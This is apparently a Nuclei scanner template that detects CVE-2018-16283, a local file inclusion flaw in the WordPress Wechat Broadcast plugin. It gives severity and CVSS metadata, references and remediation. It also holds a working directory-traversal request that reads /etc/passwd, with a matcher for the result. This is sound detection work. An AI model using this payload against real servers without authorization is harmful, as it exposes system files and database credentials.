WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion

id: CVE-2018-16283

info:
  name: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
  author: 0x240x23elu
  severity: critical
  description: WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.
  impact: |
    Unauthenticated attackers can read arbitrary files on the WordPress server through directory traversal in the Image.php url parameter, potentially exposing wp-config.php containing database credentials, private keys, and other sensitive configuration files.
  remediation: |
    Update to the latest version of the WordPress Plugin Wechat Broadcast or apply the patch provided by the vendor to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45438
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16283
    - https://github.com/springjk/wordpress-wechat-broadcast/issues/14
    - http://seclists.org/fulldisclosure/2018/Sep/32
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/150202
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16283
    cwe-id: CWE-22
    epss-score: 0.6307
    epss-percentile: 0.99094
    cpe: cpe:2.3:a:wechat_brodcast_project:wechat_brodcast:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wechat_brodcast_project
    product: wechat_brodcast
    framework: wordpress
  tags: cve,cve2018,edb,seclists,wordpress,wp-plugin,lfi,wechat_brodcast_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4b0a004830460221009a889e1bc0223434afe5b6d6215cb62dbe80d6b5e886e0a1f2cbd498d8276483022100b3b4935f5303ae41ef4af5c8fd19d12ea2c57a3a4ae2ce030581d14e01a72409:922c64590222798bb761d5b6d8e72950